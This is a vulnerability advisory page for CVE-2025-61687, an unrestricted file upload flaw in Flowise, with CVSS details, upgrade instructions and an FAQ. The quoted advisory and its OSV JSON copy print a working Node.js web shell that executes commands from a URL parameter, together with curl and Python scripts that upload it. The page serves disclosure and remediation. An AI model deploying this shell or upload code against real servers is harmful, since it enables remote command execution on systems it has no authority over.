CVE-2025-61687: Flowise FlowiseAI/Flosise Has File Upload Vulnerability Vulnerability

HIGH
Advisory Identifier: GHSA-35g6-rrw3-v6xc
CVSS 8.3
CWE-434
Published
Advisory Summary

CVE-2025-61687 is a HIGH (CVSS 8.3) flowiseai/flosise has file upload vulnerability vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Flowise libraries in the npm ecosystem. The issue involves flowiseai/flosise has file upload vulnerability. Remediation is available by upgrading affected packages to version 3.0.8.

CVE-2025-61687 at a Glance

CVE Identifier CVE-2025-61687
GHSA Identifier GHSA-35g6-rrw3-v6xc
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-61687

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.0.8
npm install flowise@3.0.8
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-61687, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.8), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). ### Details The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered. The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities. #### Taint Flow - **Taint 01: Route Registration** `POST` file requests are routed to the controller via Multer https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8 - **Taint 02: Multer Settings** Uploaded files are stored temporarily before further handling https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954 - **Taint 03: Controller** Receives the file from Multer and delegates to the service https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11 - **Taint 04: Service Layer** Processes the file and sends results back to controller https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16 - **Taint 05: createFileAttachment** Extracts metadata, moves file to permanent storage https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126 - **Taint 06: File Save Path** Creates storage directory and saves file https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175 https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541 - **Taint 07: File Filtering** Filters dangerous characters in file names but does not reject malicious content https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111 ### PoC #### shell.js (Node.js Web Shell) ```js const { exec } = require('child_process'); const http = require('http'); const server = http.createServer((req, res) => { const url = new URL(req.url, 'http://localhost'); const cmd = url.searchParams.get('cmd'); if (cmd) { console.log(`Executing: ${cmd}`); exec(cmd, (error, stdout, stderr) => { res.writeHead(200, {'Content-Type': 'text/plain'}); if (error) { res.end(`Error: ${error.message}\n${stderr || ''}`); } else { res.end(stdout || 'Command executed successfully'); } }); } else { res.writeHead(200, {'Content-Type': 'text/html'}); res.end(` <h1>Node.js Web Shell</h1> <p>Use ?cmd=command to execute</p> <p>Example: ?cmd=id</p> `); } }); const PORT = 8888; server.listen(PORT, '0.0.0.0', () => { console.log(`Shell running on port ${PORT}`); console.log(`Access: http://localhost:${PORT}?cmd=id`); }); ``` #### curl Upload ```bash curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \ -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \ -F "files=@shell.js;type=application/javascript" ``` #### Python Upload Script ```python import requests import uuid TARGET_URL = "http://localhost:3000" CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516133fc" TOKEN = "ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" CHAT_ID = str(uuid.uuid4()) def upload_shell(): url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}" headers = {'Cookie': f'jwt={TOKEN}'} files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')} r = requests.post(url, headers=headers, files=files) if r.status_code == 200: print("[✓] Upload success") print(r.text) else: print(f"[✗] Upload failed ({r.status_code})") print(r.text) if __name__ == "__main__": upload_shell() ``` <img width="1900" height="981" alt="image" src="https://github.com/user-attachments/assets/e0d6a11e-445e-447c-a8f3-c0cb0b9ffb3f" /> ### Impact An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

CVE-2025-61687 Affected Flowise Versions

1 component(s)
Fixed Versions:
3.0.8
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
≥ 3.0.7
< 3.0.8
All 1 versions
3.0.7
3.0.8

References

GitHub Advisory / Wiki ADVISORY
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc
NVD — CVE-2025-61687 NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-61687
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126
Flowise Source Repository REPOSITORY
https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954

Frequently Asked Questions

What is CVE-2025-61687?
CVE-2025-61687 is a security vulnerability in Flowise involving FlowiseAI/Flosise has File Upload vulnerability under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which Flowise versions are affected?
Affected versions include releases prior to 3.0.8 across affected packages: flowise.
What version fixes CVE-2025-61687?
Upgrading to 3.0.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.0.8. Upgrade your dependency to 3.0.8 or later.
What is the CVSS score of CVE-2025-61687?
CVE-2025-61687 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H.
What CWE is associated with CVE-2025-61687?
CVE-2025-61687 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check npm dependencies for CVE-2025-61687?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-35g6-rrw3-v6xc",
  "modified" : "2025-12-16T23:18:27Z",
  "published" : "2025-10-08T19:34:21Z",
  "aliases" : [ "CVE-2025-61687" ],
  "summary" : "FlowiseAI/Flosise has File Upload vulnerability",
  "details" : "### Summary\nA file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE).\n\n### Details\nThe system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered.\n\nThe uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities.\n\n#### Taint Flow\n\n- **Taint 01: Route Registration**  \n  `POST` file requests are routed to the controller via Multer  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8\n\n- **Taint 02: Multer Settings**  \n  Uploaded files are stored temporarily before further handling  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954\n\n- **Taint 03: Controller**  \n  Receives the file from Multer and delegates to the service  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11\n\n- **Taint 04: Service Layer**  \n  Processes the file and sends results back to controller  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16\n\n- **Taint 05: createFileAttachment**  \n  Extracts metadata, moves file to permanent storage  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126\n\n- **Taint 06: File Save Path**  \n  Creates storage directory and saves file  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541\n\n- **Taint 07: File Filtering**  \n  Filters dangerous characters in file names but does not reject malicious content  \n  https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111\n\n### PoC\n\n#### shell.js (Node.js Web Shell)\n```js\nconst { exec } = require('child_process');\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    const url = new URL(req.url, 'http://localhost');\n    const cmd = url.searchParams.get('cmd');\n\n    if (cmd) {\n        console.log(`Executing: ${cmd}`);\n        exec(cmd, (error, stdout, stderr) => {\n            res.writeHead(200, {'Content-Type': 'text/plain'});\n            if (error) {\n                res.end(`Error: ${error.message}\\n${stderr || ''}`);\n            } else {\n                res.end(stdout || 'Command executed successfully');\n            }\n        });\n    } else {\n        res.writeHead(200, {'Content-Type': 'text/html'});\n        res.end(`\n            <h1>Node.js Web Shell</h1>\n            <p>Use ?cmd=command to execute</p>\n            <p>Example: ?cmd=id</p>\n        `);\n    }\n});\n\nconst PORT = 8888;\nserver.listen(PORT, '0.0.0.0', () => {\n    console.log(`Shell running on port ${PORT}`);\n    console.log(`Access: http://localhost:${PORT}?cmd=id`);\n});\n```\n\n#### curl Upload\n```bash\ncurl -X POST \"http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)\" \\\n  -H \"Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0\" \\\n  -F \"files=@shell.js;type=application/javascript\"\n```\n\n#### Python Upload Script\n```python\nimport requests\nimport uuid\n\nTARGET_URL = \"http://localhost:3000\"\nCHATFLOW_ID = \"0237eefc-18c5-46b2-8b3c-97aa516133fc\"\nTOKEN = \"ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0\"\nCHAT_ID = str(uuid.uuid4())\n\ndef upload_shell():\n    url = f\"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}\"\n    headers = {'Cookie': f'jwt={TOKEN}'}\n    files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')}\n    r = requests.post(url, headers=headers, files=files)\n\n    if r.status_code == 200:\n        print(\"[✓] Upload success\")\n        print(r.text)\n    else:\n        print(f\"[✗] Upload failed ({r.status_code})\")\n        print(r.text)\n\nif __name__ == \"__main__\":\n    upload_shell()\n```\n\n<img width=\"1900\" height=\"981\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e0d6a11e-445e-447c-a8f3-c0cb0b9ffb3f\" />\n\n\n### Impact\nAn attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.7"
      }, {
        "fixed" : "3.0.8"
      } ]
    } ],
    "versions" : [ "3.0.7" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-61687"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-08T19:34:21Z",
    "nvd_published_at" : "2025-10-06T16:15:35Z"
  }
}